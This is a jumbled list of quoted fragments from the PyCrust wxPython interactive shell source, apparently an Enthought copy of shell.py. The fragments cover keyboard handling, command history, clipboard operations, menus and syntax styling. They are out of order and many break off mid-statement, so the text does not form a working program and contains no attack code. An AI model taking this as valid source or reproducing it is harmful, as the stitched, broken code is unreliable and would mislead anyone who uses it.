"and key == WXK_UP) and self.CanEdit(): self.OnHistoryInsert(step=+1) # Insert the next command from",
"def clear(self): \"\"\"Delete all text from the shell.\"\"\" self.ClearAll() def run(self, command, prompt=1,",
"os.linesep + sys.ps2) self.clearCommand() self.write(command) # Process the command if the 'Enter' key",
"be replaced by the enclosing app # to do something more interesting, like",
"numCharsAfterCursor = self.GetTextLength() - startpos searchText = self.getCommand(rstrip=0) if numCharsAfterCursor > 0: searchText",
"= command.rstrip() return command def lstripPrompt(self, text): \"\"\"Return text without a leading prompt.\"\"\"",
"'(' to the end of the command. self.ReplaceSelection('') command = self.GetTextRange(stoppos, currpos) +",
"fixLineEndings(self, text): \"\"\"Return text with line endings replaced by OS-specific endings.\"\"\" lines =",
"= 'PyCrust Shell Interface' revision = __revision__ def __init__(self, other): \"\"\"Create a ShellFacade",
"Copy to the clipboard, including prompts. elif controlDown and shiftDown \\ and key",
"need to reduce the font size. if (wxMAJOR_VERSION, wxMINOR_VERSION, wxRELEASE_NUMBER) < (2, 3,",
"selection, including prompts, and place it on the clipboard.\"\"\" if self.CanCopy(): command =",
"'\\n' self.reader.input = command self.write(os.linesep) else: self.push(command) # Or replace the current command",
"self.Close(True) def OnUndo(self, event): self.shell.Undo() def OnRedo(self, event): self.shell.Redo() def OnCut(self, event): self.shell.Cut()",
"import sys title = 'About PyCrust' text = 'PyCrust %s\\n\\n' % VERSION +",
"is word wrapped.\"\"\" try: self.SetWrapMode(wrap) except AttributeError: return 'Wrapping is not available in",
"if (wxMAJOR_VERSION, wxMINOR_VERSION, wxRELEASE_NUMBER) < (2, 3, 2): faces['size'] -= 2 faces['lnsize'] -=",
"# Reset the history position. self.historyIndex = -1 self.historyPrefix = 0 # Insert",
"def clearCommand(self): \"\"\"Delete the current, unexecuted command.\"\"\" startpos = self.promptPosEnd endpos = self.GetTextLength()",
"# Don't allow line transposition. elif controlDown and key in (ord('T'), ord('t')): pass",
"builtins. This simply sets \"close\", \"exit\" and \"quit\" to a helpful string. \"\"\"",
"def OnChar(self, event): \"\"\"Keypress event handler. Only receives an event if OnKeyDown calls",
"[] command = '' for line in lines: if line.strip() != '' and",
"# Add the autocomplete character to the end of the command. command =",
"Shell Interface' revision = __revision__ def __init__(self, other): \"\"\"Create a ShellFacade instance.\"\"\" methods",
"of builtins. This simply sets \"close\", \"exit\" and \"quit\" to a helpful string.",
"\"\"\"Remove selection and place it on the clipboard.\"\"\" if self.CanCut() and self.CanCopy(): if",
"if rstrip: command = command.rstrip() return command def getCommand(self, text=None, rstrip=1): \"\"\"Extract a",
"of the command or line. Shift+End Select to the end of the line.",
"command with the other command. else: # If the line contains a command",
"the line. Ctrl+C Copy selected text, removing prompts. Ctrl+Shift+C Copy selected text, retaining",
"if pos > 0: if isreading: skip = 1 else: self.write(os.linesep) if not",
"Version: %s\\n' % wx.__version__ + \\ 'Platform: %s\\n' % sys.platform dialog = wxMessageDialog(self,",
"self.CanCopy(): command = self.GetSelectedText() data = wxTextDataObject(command) if wxTheClipboard.Open(): wxTheClipboard.SetData(data) wxTheClipboard.Close() def Paste(self):",
"Retrieve Previous History item. Ctrl+Down Arrow Retrieve Next History item. Alt+N Retrieve Next",
"= text.replace(os.linesep, '\\n') lines = text.split('\\n') commands = [] command = '' for",
"underscore', 1) m = self.calltipsMenu = wxMenu() m.Append(ID_CALLTIPS_SHOW, 'Show Call Tips', \\ 'Show",
"wxID_UNDO: event.Enable(self.shell.CanUndo()) elif id == wxID_REDO: event.Enable(self.shell.CanRedo()) elif id == wxID_CUT: event.Enable(self.shell.CanCut()) elif",
"for stdout.\"\"\" self.write(text) def writeErr(self, text): \"\"\"Replacement for stderr.\"\"\" self.write(text) def redirectStdin(self, redirect=1):",
"def OnCut(self, event): self.shell.Cut() def OnCopy(self, event): self.shell.Copy() def OnPaste(self, event): self.shell.Paste() def",
"shell.\"\"\" if redirect: sys.stdout = PseudoFileOut(self.writeOut) else: sys.stdout = self.stdout def redirectStderr(self, redirect=1):",
"1 self.GotoLine(line) text = self.GetCurLine()[0] if text[:ps1size] == ps1: line = self.GetCurrentLine() self.GotoLine(line)",
"the previous/next command from the history buffer.\"\"\" if not self.historyPrefix: self.historyPrefix = 1",
"selection with command from the history buffer.\"\"\" self.ReplaceSelection('') if history is None: history",
"how to use the shell.\"\"\" self.write(self.helpText) def __getattr__(self, name): if hasattr(self.other, name): return",
"+ sys.ps2) self.ReplaceSelection(command) def OnHistoryInsert(self, step): \"\"\"Insert the previous/next command from the history",
"\"\"\"Send command to the interpreter for execution.\"\"\" self.write(os.linesep) busy = wxBusyCursor() self.more =",
"== 0: return 0 if len(completions) == 1: self.write(completions[0][len(command):]) else: self.AutoCompShow(len(command), '\\n'.join(completions)) return",
"or the same as the last command. if command != '' \\ and",
"This is a semi-transparent facade, in that all attributes of other are still",
"def processLine(self): \"\"\"Process the line of text at which the user hit Enter.\"\"\"",
"history buffer. elif (shiftDown and key == WXK_UP) and self.CanEdit(): self.OnHistoryInsert(step=+1) # Insert",
"= matches = [] for command in self.history: if command[:n] == prefix and",
"if selecting and self.CanEdit(): event.Skip() elif currpos > self.promptPosEnd: event.Skip() # Only allow",
"for stderr.\"\"\" self.write(text) def redirectStdin(self, redirect=1): \"\"\"If redirect is true then sys.stdin will",
"<= newindex <= len(history)-1: command = history[self.historyIndex] command = command.replace('\\n', os.linesep + sys.ps2)",
"-1 self.historyPrefix = 0 # Assign handlers for keyboard events. EVT_KEY_DOWN(self, self.OnKeyDown) EVT_CHAR(self,",
"redirect: sys.stdout = PseudoFileOut(self.writeOut) else: sys.stdout = self.stdout def redirectStderr(self, redirect=1): \"\"\"If redirect",
"zoom(self, points=0): \"\"\"Set the zoom level. This number of points is added to",
"handlers for wxSTC events. EVT_STC_UPDATEUI(self, id, self.OnUpdateUI) EVT_STC_USERLISTSELECTION(self, id, self.OnHistorySelected) # Configure various",
"= caretPos if braceAtCaret >= 0: braceOpposite = self.BraceMatch(braceAtCaret) if braceAtCaret != -1",
"def redirectStderr(self, redirect=1): \"\"\"If redirect is true then sys.stderr will go to the",
"len(self.history))) + \\ list(range(self.historyIndex)) for i in searchOrder: command = self.history[i] if command[:len(searchText)]",
"History item. Shift+Up Arrow Insert Previous History item. Shift+Down Arrow Insert Next History",
"!= '' \\ and (len(self.history) == 0 or command != self.history[0]): self.history.insert(0, command)",
"the command. self.ReplaceSelection('') command = self.GetTextRange(stoppos, currpos) + '(' self.write('(') if self.autoCallTip: self.autoCallTipShow(command)",
"= command.replace(os.linesep + sys.ps2, os.linesep) command = command.replace(os.linesep + sys.ps1, os.linesep) command =",
"item. Shift+Down Arrow Insert Next History item. F8 Command-completion of History item. (Type",
"Completion Options') m.AppendMenu(ID_CALLTIPS, '&Call Tips', self.calltipsMenu, \\ 'Call Tip Options') if hasattr( self,",
"ID_FILLING = wxNewId() ID_FILLING_AUTO_UPDATE = wxNewId() ID_FILLING_SHOW_METHODS = wxNewId() ID_FILLING_SHOW_CLASS = wxNewId() ID_FILLING_SHOW_DICT",
"in this handler. if key == WXK_RETURN: pass elif key in self.autoCompleteKeys: #",
"%s\\n' % sys.platform dialog = wxMessageDialog(self, text, title, wxOK | wxICON_INFORMATION) dialog.ShowModal() dialog.Destroy()",
"of the prompt. elif key == WXK_HOME: home = self.promptPosEnd if currpos >",
"== WXK_TAB: if self.CanEdit() and not self.topLevelComplete(): event.Skip() # Don't toggle between insert",
"key in NAVKEYS: event.Skip() # Protect the readonly portion of the shell. elif",
"last so the user has complete control over their # environment. They can",
"for wxPython < 2.3.3. if charBefore < 0: charBefore = 32 # Mimic",
"-1 charBefore = None caretPos = self.GetCurrentPos() if caretPos > 0: charBefore =",
"text in front of the cursor.\"\"\" if not self.CanEdit(): return startpos = self.GetCurrentPos()",
"command from the history buffer. elif (shiftDown and key == WXK_UP) and self.CanEdit():",
"= 1 self.prompt() def processLine(self): \"\"\"Process the line of text at which the",
"the command. if self.CanEdit(): self.SetCurrentPos(endpos) self.interp.more = 0 command = self.GetTextRange(startpos, endpos) lines",
"self.SetViewWhiteSpace(0) self.SetTabWidth(4) self.SetUseTabs(0) # Do we want to automatically pop up command completion",
"EVT_UPDATE_UI(self, wxID_PASTE, self.OnUpdateMenu) EVT_UPDATE_UI(self, wxID_CLEAR, self.OnUpdateMenu) EVT_UPDATE_UI(self, ID_AUTOCOMP_SHOW, self.OnUpdateMenu) EVT_UPDATE_UI(self, ID_AUTOCOMP_INCLUDE_MAGIC, self.OnUpdateMenu) EVT_UPDATE_UI(self,",
"based on current status.\"\"\" id = event.GetId() if id == wxID_UNDO: event.Enable(self.shell.CanUndo()) elif",
"Go to the end of the line. Ctrl+C Copy selected text, removing prompts.",
"user hits return without entering a value. command = '\\n' self.reader.input = command",
"(c) 2005, Enthought, Inc. # All rights reserved. # # This software is",
"file = open(filename) try: self.prompt() for command in file.readlines(): if command[:6] == 'shell.':",
"-1 <= newindex <= len(history): self.historyIndex = newindex if 0 <= newindex <=",
"prefixed by a double underscore', 1) m = self.calltipsMenu = wxMenu() m.Append(ID_CALLTIPS_SHOW, 'Show",
"event): self.shell.autoCompleteIncludeDouble = event.IsChecked() def OnCallTipsShow(self, event): self.shell.autoCallTip = event.IsChecked() def OnFillingAutoUpdate(self, event):",
"use the shell.\"\"\" self.write(self.helpText) def __getattr__(self, name): if hasattr(self.other, name): return getattr(self.other, name)",
"Options') m = self.helpMenu = wxMenu() m.AppendSeparator() m.Append(wxID_ABOUT, '&About...', 'About PyCrust') b =",
"# prompt every time a command is issued. ps1 = str(sys.ps1) ps1size =",
"a status bar. print(text) def insertLineBreak(self): \"\"\"Insert a new line break.\"\"\" if self.CanEdit():",
"a PyCrust Shell instance.\"\"\" wxStyledTextCtrl.__init__(self, parent, id, pos, size, style) # Grab these",
"hit ENTER and we need to decide what to do. They could be",
"== wxID_CUT: event.Enable(self.shell.CanCut()) elif id == wxID_COPY: event.Enable(self.shell.CanCopy()) elif id == wxID_PASTE: event.Enable(self.shell.CanPaste())",
"in the tree view', 1) fm.Append(ID_FILLING_SHOW_DOC, 'Show __doc__', 'Show __doc__ entries in the",
"command, execute the command. if self.CanEdit(): self.SetCurrentPos(endpos) self.interp.more = 0 command = self.GetTextRange(startpos,",
"an event if OnKeyDown calls event.Skip() for the corresponding event.\"\"\" # Prevent modification",
"in directly. >>> shell.run('print \"this\"') >>> print \"this\" this >>> \"\"\" # Go",
"if not self.CanEdit(): return key = event.KeyCode() currpos = self.GetCurrentPos() stoppos = self.promptPosEnd",
"we need to reduce the font size. if (wxMAJOR_VERSION, wxMINOR_VERSION, wxRELEASE_NUMBER) < (2,",
"file.close() def autoCompleteShow(self, command): \"\"\"Display auto-completion popup list.\"\"\" list = self.interp.getAutoCompleteList(command, includeMagic=self.autoCompleteIncludeMagic, includeSingle=self.autoCompleteIncludeSingle,",
"introspection.\"\"\" list = ['autoCallTip', 'autoComplete', 'autoCompleteCaseInsensitive', 'autoCompleteIncludeDouble', 'autoCompleteIncludeMagic', 'autoCompleteIncludeSingle', ] list.sort() return list",
"# Match the behavior of the standard Python shell when # the user",
"isn't provided. if InterpClass == None: from PyCrust.interpreter import Interpreter else: Interpreter =",
"in enthought/LICENSE.txt and may be redistributed only # under the conditions described in",
"CanCut(self): \"\"\"Return true if text is selected and can be cut.\"\"\" if self.GetSelectionStart()",
"and altDown: event.Skip() # Clear the current, unexecuted command. elif key == WXK_ESCAPE:",
"the surrounding app # decide what it wants to do. self.write('Click on the",
"wxMenu() m.AppendSeparator() m.Append(wxID_ABOUT, '&About...', 'About PyCrust') b = self.menuBar = wxMenuBar() b.Append(self.fileMenu, '&File')",
"id == wxID_CLEAR: event.Enable(self.shell.CanCut()) elif id == ID_AUTOCOMP_SHOW: event.Check(self.shell.autoComplete) elif id == ID_AUTOCOMP_INCLUDE_MAGIC:",
"__dict__', 'Show __dict__ entries in the tree view', 1) fm.Append(ID_FILLING_SHOW_DOC, 'Show __doc__', 'Show",
"getattr(self.other, name) else: raise AttributeError(name) def __setattr__(self, name, value): if name in self.__dict__:",
"# Get the command between the prompt and the cursor. # Add the",
"\"\"\"Key down event handler.\"\"\" # Prevent modification of previously submitted commands/responses. key =",
"have one.\"\"\" if startupScript and os.path.isfile(startupScript): startupText = 'Startup script executed: ' +",
"self.CallTipActive(): event.Skip() else: self.clearCommand() # Cut to the clipboard. elif (controlDown and key",
"and self.CanEdit(): self.OnHistoryInsert(step=-1) # Search up the history for the text in front",
"is None: history = self.history newindex = self.historyIndex + step if -1 <=",
"# Assign handlers for wxSTC events. EVT_STC_UPDATEUI(self, id, self.OnUpdateUI) EVT_STC_USERLISTSELECTION(self, id, self.OnHistorySelected) #",
"del self.interp pass def config(self): \"\"\"Configure shell based on user preferences.\"\"\" self.SetMarginType(1, wxSTC_MARGIN_NUMBER)",
"the history buffer.\"\"\" if not self.historyPrefix: self.historyPrefix = 1 self.historyMatches = None prefix",
"# Clear the current, unexecuted command. elif key == WXK_ESCAPE: if self.CallTipActive(): event.Skip()",
"PyCrust Shell is an interactive text control in which a user types in",
"self.GetSelectionStart() != self.GetSelectionEnd() def CanPaste(self): \"\"\"Return true if a paste should succeed.\"\"\" if",
"+ sys.ps2) lines = [line.rstrip() for line in lines] command = '\\n'.join(lines) if",
"wxTheClipboard.SetData(data) wxTheClipboard.Close() def Paste(self): \"\"\"Replace selection with clipboard contents.\"\"\" if self.CanPaste() and wxTheClipboard.Open():",
"hide rather than # quit so we should just post the event and",
"handler() self.prompt() def addHistory(self, command): \"\"\"Add command to the command history.\"\"\" # Reset",
"% faces) self.StyleSetSpec(wxSTC_P_NUMBER, \"\") self.StyleSetSpec(wxSTC_P_STRING, \"fore:#7F007F,face:%(mono)s\" % faces) self.StyleSetSpec(wxSTC_P_CHARACTER, \"fore:#7F007F,face:%(mono)s\" % faces) self.StyleSetSpec(wxSTC_P_WORD,",
"\"fore:#000000,face:%(mono)s,back:#E0C0E0,eolfilled\" % faces) def OnUpdateUI(self, evt): \"\"\"Check for matching braces.\"\"\" braceAtCaret = -1",
"= -1 self.historyPrefix = 0 # Insert this command into the history, unless",
"Add the previous command to the list. commands.append(command) # Start a new command,",
"'Include Single Underscores', \\ 'Include attibutes prefixed by a single underscore', 1) m.Append(ID_AUTOCOMP_INCLUDE_DOUBLE,",
"'' \\ and (len(self.history) == 0 or command != self.history[0]): self.history.insert(0, command) def",
"1 self.autoCompleteIncludeMagic = 1 self.autoCompleteIncludeSingle = 1 self.autoCompleteIncludeDouble = 1 self.autoCompleteCaseInsensitive = 1",
"command = self.getCommand(rstrip=0) completions = self.interp.getTopLevelCompletions(command) if len(completions) == 0: return 0 if",
"argument specifications', 1) m = self.optionsMenu = wxMenu() m.AppendMenu(ID_AUTOCOMP, '&Auto Completion', self.autocompMenu, \\",
"= '' # Real commands have prompts. if rstrip: command = command.rstrip() return",
"interesting. shellLocals = {'__name__': 'PyCrust-Shell', '__doc__': 'PyCrust-Shell, The PyCrust Python Shell.', '__version__': VERSION,",
"in that all attributes of other are still accessible, even though only some",
"OnUpdateUI(self, evt): \"\"\"Check for matching braces.\"\"\" braceAtCaret = -1 braceOpposite = -1 charBefore",
"else: self.push(command) # Or replace the current command with the other command. else:",
"'Python Version: %s\\n' % sys.version.split()[0] + \\ 'wxPython Version: %s\\n' % wx.__version__ +",
"Previous History item. Shift+Down Arrow Insert Next History item. F8 Command-completion of History",
"line > 0: line -= 1 self.GotoLine(line) text = self.GetCurLine()[0] if text[:ps1size] ==",
"Search up the history for the text in front of the cursor. elif",
"selecting = self.GetSelectionStart() != self.GetSelectionEnd() # Return (Enter) is used to submit a",
"from the editor. The command may not necessarily be valid Python syntax.\"\"\" #",
"the command or line. Shift+End Select to the end of the line. End",
"EVT_UPDATE_UI(self, ID_AUTOCOMP_SHOW, self.OnUpdateMenu) EVT_UPDATE_UI(self, ID_AUTOCOMP_INCLUDE_MAGIC, self.OnUpdateMenu) EVT_UPDATE_UI(self, ID_AUTOCOMP_INCLUDE_SINGLE, self.OnUpdateMenu) EVT_UPDATE_UI(self, ID_AUTOCOMP_INCLUDE_DOUBLE, self.OnUpdateMenu) EVT_UPDATE_UI(self,",
"wxPython < 2.3.3. if charBefore < 0: charBefore = 32 # Mimic a",
"EVT_MENU(self, wxID_CUT, self.OnCut) EVT_MENU(self, wxID_COPY, self.OnCopy) EVT_MENU(self, wxID_PASTE, self.OnPaste) EVT_MENU(self, wxID_CLEAR, self.OnClear) EVT_MENU(self,",
"from the user using a dialog box.\"\"\" dialog = wxTextEntryDialog(None, prompt, \\ 'Input",
"if self.CanEdit(): event.Skip() elif key == WXK_TAB: if self.CanEdit() and not self.topLevelComplete(): event.Skip()",
"if we don't find anything. if (self.historyIndex <= -1) \\ or (self.historyIndex >=",
"= self.promptPosEnd # Return (Enter) needs to be ignored in this handler. if",
"The left paren activates a call tip and cancels # an active auto",
"clipboard.\"\"\" if self.CanCopy(): command = self.GetSelectedText() command = command.replace(os.linesep + sys.ps2, os.linesep) command",
"shiftDown \\ and key in (ord('C'), ord('c'), WXK_INSERT): self.Copy() # Copy to the",
"track of multi-line commands. self.more = 0 # Create the command history. Commands",
"autoindent magic here if more. if self.more: self.write(' '*4) # Temporary hack indentation.",
"tree = self.crust.filling.fillingTree tree.showClass = event.IsChecked() tree.update() def OnFillingShowDict(self, event): tree = self.crust.filling.fillingTree",
"{'__name__': 'PyCrust-Shell', '__doc__': 'PyCrust-Shell, The PyCrust Python Shell.', '__version__': VERSION, } # Add",
"shell when # the user hits return without entering a value. command =",
"self.GetCurLine()[0] line = self.GetCurrentLine() while text[:ps2size] == ps2 and line > 0: line",
"toggle between insert mode and overwrite mode. elif key == WXK_INSERT: pass #",
"skip = 0 if isreading: prompt = str(sys.ps3) elif self.more: prompt = str(sys.ps2)",
"including prompts, and place it on the clipboard.\"\"\" if self.CanCopy(): command = self.GetSelectedText()",
"if hasattr( self, 'crust' ): EVT_MENU(self, ID_FILLING_AUTO_UPDATE, self.OnFillingAutoUpdate) EVT_MENU(self, ID_FILLING_SHOW_METHODS, self.OnFillingShowMethods) EVT_MENU(self, ID_FILLING_SHOW_CLASS,",
"+= 1 self.GotoLine(line) stoppos = self.GetCurrentPos() command = self.GetTextRange(startpos, stoppos) command = command.replace(os.linesep",
"if not searchText: return # Search upwards from the current history position and",
"helpful string. \"\"\" import six.moves.builtins six.moves.builtins.close = six.moves.builtins.exit = six.moves.builtins.quit = \\ 'Click",
"indentation. self.EnsureCaretVisible() self.ScrollToColumn(0) def readline(self): \"\"\"Replacement for stdin.readline().\"\"\" input = '' reader =",
"license included in enthought/LICENSE.txt and may be redistributed only # under the conditions",
"__future__ import print_function __author__ = \"<NAME> <<EMAIL>>\" __cvsid__ = \"$Id: shell.py,v 1.2 2003/06/13",
"Go to the beginning of the command or line. Shift+Home Select to the",
"(ord('N'), ord('n'))): self.OnHistoryReplace(step=-1) # Insert the previous command from the history buffer. elif",
"app # to do something more interesting, like write to a status bar.",
"verbose=0) else: self.run(command, prompt=0, verbose=1) finally: file.close() def autoCompleteShow(self, command): \"\"\"Display auto-completion popup",
"items.\"\"\" def createMenus(self): m = self.fileMenu = wxMenu() m.AppendSeparator() m.Append(wxID_EXIT, 'E&xit', 'Exit PyCrust')",
"endpos = self.GetCurrentPos() self.SetSelection(endpos, startpos) def OnHistorySearch(self): \"\"\"Search up the history buffer for",
"self.lstripPrompt(text=command) command = command.replace(os.linesep + sys.ps2, '\\n') command = command.replace(os.linesep, '\\n') command =",
"interpreter's local namespace. try: self.setLocalShell() except: pass # Do this last so the",
"text in front of the cursor. elif key == WXK_F8: self.OnHistorySearch() # Show",
"'Auto Completion Options') m.AppendMenu(ID_CALLTIPS, '&Call Tips', self.calltipsMenu, \\ 'Call Tip Options') if hasattr(",
"Inc. # Description: <Enthought util package component> #------------------------------------------------------------------------------ \"\"\"The PyCrust Shell is an",
"Keep track of the last non-continuation prompt positions. self.promptPosStart = 0 self.promptPosEnd =",
"latest prompt. elif key == WXK_DELETE: if self.CanEdit(): event.Skip() elif key == WXK_TAB:",
"InterpClass=None, *args, **kwds): \"\"\"Create a PyCrust Shell instance.\"\"\" wxStyledTextCtrl.__init__(self, parent, id, pos, size,",
"Do we want to automatically pop up command completion options? self.autoComplete = 1",
"command argument help? self.autoCallTip = 1 self.CallTipSetBackground(wxColour(255, 255, 232)) self.wrap() try: self.SetEndAtLastLine(false) except",
"syntax.\"\"\" # XXX Need to extract real prompts here. Need to keep track",
"# is a selection that includes text prior to the prompt. # #",
"'.join(keyword.kwlist)) self.setStyles(faces) self.SetViewWhiteSpace(0) self.SetTabWidth(4) self.SetUseTabs(0) # Do we want to automatically pop up",
"startpos = self.GetCurrentPos() self.replaceFromHistory(step) endpos = self.GetCurrentPos() self.SetSelection(endpos, startpos) def OnHistorySearch(self): \"\"\"Search up",
"a popup bubble thingie.\"\"\" if self.CallTipActive: self.CallTipCancel() (name, argspec, tip) = self.interp.getCallTip(command) if",
"def Copy(self): \"\"\"Copy selection and place it on the clipboard.\"\"\" if self.CanCopy(): command",
"command.replace(os.linesep + sys.ps2, '\\n') command = command.replace(os.linesep, '\\n') command = command.replace('\\n', os.linesep +",
"command, which may be multiline. command = line else: # Multiline command. Add",
"= self.lstripPrompt(text=command) command = command.replace(os.linesep + sys.ps2, '\\n') command = command.replace(os.linesep, '\\n') command",
"self.SetSelection(startpos, endpos) self.ReplaceSelection('') self.more = 0 def OnHistoryReplace(self, step): \"\"\"Replace with the previous/next",
"elif controlDown and key == WXK_RETURN: if self.AutoCompActive(): self.AutoCompCancel() if self.CallTipActive(): self.CallTipCancel() if",
"wxNewId() ID_FILLING_SHOW_DICT = wxNewId() ID_FILLING_SHOW_DOC = wxNewId() ID_FILLING_SHOW_MODULE = wxNewId() class ShellMenu: \"\"\"Mixin",
"'&Edit') b.Append(self.optionsMenu, '&Options') b.Append(self.helpMenu, '&Help') self.SetMenuBar(b) EVT_MENU(self, wxID_EXIT, self.OnExit) EVT_MENU(self, wxID_UNDO, self.OnUndo) EVT_MENU(self,",
"self.OnCopy) EVT_MENU(self, wxID_PASTE, self.OnPaste) EVT_MENU(self, wxID_CLEAR, self.OnClear) EVT_MENU(self, wxID_SELECTALL, self.OnSelectAll) EVT_MENU(self, wxID_ABOUT, self.OnAbout)",
"Enter. self.historyIndex == -1 means # you're on the current command, not in",
"def config(self): \"\"\"Configure shell based on user preferences.\"\"\" self.SetMarginType(1, wxSTC_MARGIN_NUMBER) self.SetMarginWidth(1, 40) self.SetLexer(wxSTC_LEX_PYTHON)",
"a helpful string. \"\"\" import six.moves.builtins six.moves.builtins.close = six.moves.builtins.exit = six.moves.builtins.quit = \\",
"= text.replace(os.linesep + sys.ps1, '\\n') text = text.replace(os.linesep + sys.ps2, '\\n') text =",
"sys.stdout = self.stdout def redirectStderr(self, redirect=1): \"\"\"If redirect is true then sys.stderr will",
"buffer. elif (shiftDown and key == WXK_UP) and self.CanEdit(): self.OnHistoryInsert(step=+1) # Insert the",
"'(' self.write('(') if self.autoCallTip: self.autoCallTipShow(command) else: # Allow the normal event handling to",
"Shift+Home Select to the beginning of the command or line. Shift+End Select to",
"= os.linesep.join(chunks[c].split('\\n')) lines[l] = os.linesep.join(chunks) text = os.linesep.join(lines) return text def prompt(self): \"\"\"Display",
"self.GetCurrentPos()) == '')): self.historyShow() else: self.insertLineBreak() # If the auto-complete window is up",
"# Description: <Enthought util package component> #------------------------------------------------------------------------------ \"\"\"The PyCrust Shell is an interactive",
"name = 'PyCrust Shell Interface' revision = __revision__ def __init__(self, other): \"\"\"Create a",
"and place it on the clipboard.\"\"\" if self.CanCut() and self.CanCopy(): if self.AutoCompActive(): self.AutoCompCancel()",
"which may be multiline. command = line else: # Multiline command. Add to",
"self.GetCurLine()[0] # Strip the prompt off the front of text leaving just the",
"elif id == ID_AUTOCOMP_INCLUDE_SINGLE: event.Check(self.shell.autoCompleteIncludeSingle) elif id == ID_AUTOCOMP_INCLUDE_DOUBLE: event.Check(self.shell.autoCompleteIncludeDouble) elif id ==",
"matching History items. (Type a few characters of a previous command and then",
"== wxID_PASTE: event.Enable(self.shell.CanPaste()) elif id == wxID_CLEAR: event.Enable(self.shell.CanCut()) elif id == ID_AUTOCOMP_SHOW: event.Check(self.shell.autoComplete)",
"prefix and command not in matches: matches.append(command) self.clearCommand() self.replaceFromHistory(step, self.historyMatches) def replaceFromHistory(self, step,",
"history.\"\"\" # Reset the history position. self.historyIndex = -1 self.historyPrefix = 0 #",
"as they are entered. self.historyIndex # is the current position in the history;",
"= command.replace('\\n', os.linesep + sys.ps2) self.write(command) if wxTheClipboard.IsSupported(PythonObject) and \\ self.python_obj_paste_handler is not",
"now warped into middle of the history. self.historyIndex = i break def setStatusText(self,",
"Inc. # All rights reserved. # # This software is provided without warranty",
"\"\"\"Simplified interface to all shell-related functionality. This is a semi-transparent facade, in that",
"extract real prompts here. Need to keep track of the # prompt every",
"Your source for Python programming expertise.\"\"\" from __future__ import print_function __author__ = \"<NAME>",
"value): if name in self.__dict__: self.__dict__[name] = value elif hasattr(self.other, name): return setattr(self.other,",
"Match the behavior of the standard Python shell when # the user hits",
"may not necessarily be valid Python syntax.\"\"\" if not text: text = self.GetCurLine()[0]",
"= self.interp.push(command) del busy if not self.more: self.addHistory(command.rstrip()) for handler in self.handlers: handler()",
"== 0 or command != self.history[0]): self.history.insert(0, command) def write(self, text): \"\"\"Display text",
"self.ReplaceSelection('') def Copy(self): \"\"\"Copy selection and place it on the clipboard.\"\"\" if self.CanCopy():",
"one.\"\"\" if startupScript and os.path.isfile(startupScript): startupText = 'Startup script executed: ' + startupScript",
"= self.GetTextLength() - startpos searchText = self.getCommand(rstrip=0) if numCharsAfterCursor > 0: searchText =",
"Python shell when # the user hits return without entering a value. command",
"-1) \\ or (self.historyIndex >= len(self.history)-2): searchOrder = list(range(len(self.history))) else: searchOrder = list(range(self.historyIndex+1,",
"= self.lstripPrompt(text=command) data = wxTextDataObject(command) if wxTheClipboard.Open(): wxTheClipboard.SetData(data) wxTheClipboard.Close() def CopyWithPrompts(self): \"\"\"Copy selection,",
"= self.GetSelectedText() data = wxTextDataObject(command) if wxTheClipboard.Open(): wxTheClipboard.SetData(data) wxTheClipboard.Close() def Paste(self): \"\"\"Replace selection",
"lines: if line.strip() != '' and line.lstrip() == line: # New command. if",
"1 else: return 0 def CanEdit(self): \"\"\"Return true if editing should succeed.\"\"\" if",
"can be cut.\"\"\" if self.GetSelectionStart() != self.GetSelectionEnd() \\ and self.GetSelectionStart() >= self.promptPosEnd \\",
"wxID_UNDO, self.OnUndo) EVT_MENU(self, wxID_REDO, self.OnRedo) EVT_MENU(self, wxID_CUT, self.OnCut) EVT_MENU(self, wxID_COPY, self.OnCopy) EVT_MENU(self, wxID_PASTE,",
"if line.strip() != '' and line.lstrip() == line: # New command. if command:",
"wxCallAfter(self.ScrollToLine, 0) def setBuiltinKeywords(self): \"\"\"Create pseudo keywords as part of builtins. This simply",
"\"$Id: shell.py,v 1.2 2003/06/13 17:59:34 dmorrill Exp $\" __revision__ = \"$Revision: 1.2 $\"[11:-2]",
"pop up command argument help? self.autoCallTip = 1 self.CallTipSetBackground(wxColour(255, 255, 232)) self.wrap() try:",
"command to the command history.\"\"\" # Reset the history position. self.historyIndex = -1",
"the next command from the history buffer. elif (controlDown and key == WXK_DOWN)",
"'') try: if dialog.ShowModal() == wxID_OK: text = dialog.GetValue() return text finally: dialog.Destroy()",
"introductory text in the shell.\"\"\" if text: if not text.endswith(os.linesep): text += os.linesep",
"key in (ord('C'), ord('c'), WXK_INSERT): self.CopyWithPrompts() # Home needs to be aware of",
"EVT_MENU(self, ID_AUTOCOMP_INCLUDE_SINGLE, \\ self.OnAutoCompleteIncludeSingle) EVT_MENU(self, ID_AUTOCOMP_INCLUDE_DOUBLE, \\ self.OnAutoCompleteIncludeDouble) EVT_MENU(self, ID_CALLTIPS_SHOW, \\ self.OnCallTipsShow) EVT_UPDATE_UI(self,",
"fm.Append(ID_FILLING_SHOW_CLASS, 'Show __class__', 'Show __class__ entries in the tree view', 1) fm.Append(ID_FILLING_SHOW_DICT, 'Show",
"\"\"\"Return true if text is selected and can be cut.\"\"\" if self.GetSelectionStart() !=",
"wxTheClipboard.GetData(data): endpos = self.GetTextLength() self.SetCurrentPos(endpos) startpos = self.promptPosEnd self.SetSelection(startpos, endpos) self.ReplaceSelection('') text =",
"% faces) self.StyleSetSpec(wxSTC_P_CHARACTER, \"fore:#7F007F,face:%(mono)s\" % faces) self.StyleSetSpec(wxSTC_P_WORD, \"fore:#00007F,bold\") self.StyleSetSpec(wxSTC_P_TRIPLE, \"fore:#7F0000\") self.StyleSetSpec(wxSTC_P_TRIPLEDOUBLE, \"fore:#000033,back:#FFFFE8\") self.StyleSetSpec(wxSTC_P_CLASSNAME,",
"a command to the interpreter. if not controlDown and key == WXK_RETURN: if",
"information about how to use the shell.\"\"\" self.write(self.helpText) def __getattr__(self, name): if hasattr(self.other,",
"= self.GetCurrentPos() if caretPos > 0: charBefore = self.GetCharAt(caretPos - 1) #*** Patch",
"This software is provided without warranty under the terms of the BSD #",
"leave the application.' def quit(self): \"\"\"Quit the application.\"\"\" # XXX Good enough for",
"\\ or (altDown and key in (ord('P'), ord('p'))): self.OnHistoryReplace(step=+1) # Replace with the",
"self.SetWrapMode(wrap) except AttributeError: return 'Wrapping is not available in this version of PyCrust.'",
"'wxPython Version: %s\\n' % wx.__version__ + \\ 'Platform: %s\\n' % sys.platform dialog =",
"+ \\ list(range(self.historyIndex)) for i in searchOrder: command = self.history[i] if command[:len(searchText)] ==",
"= str(sys.ps2) ps2size = len(ps2) # Strip the prompt off the front of",
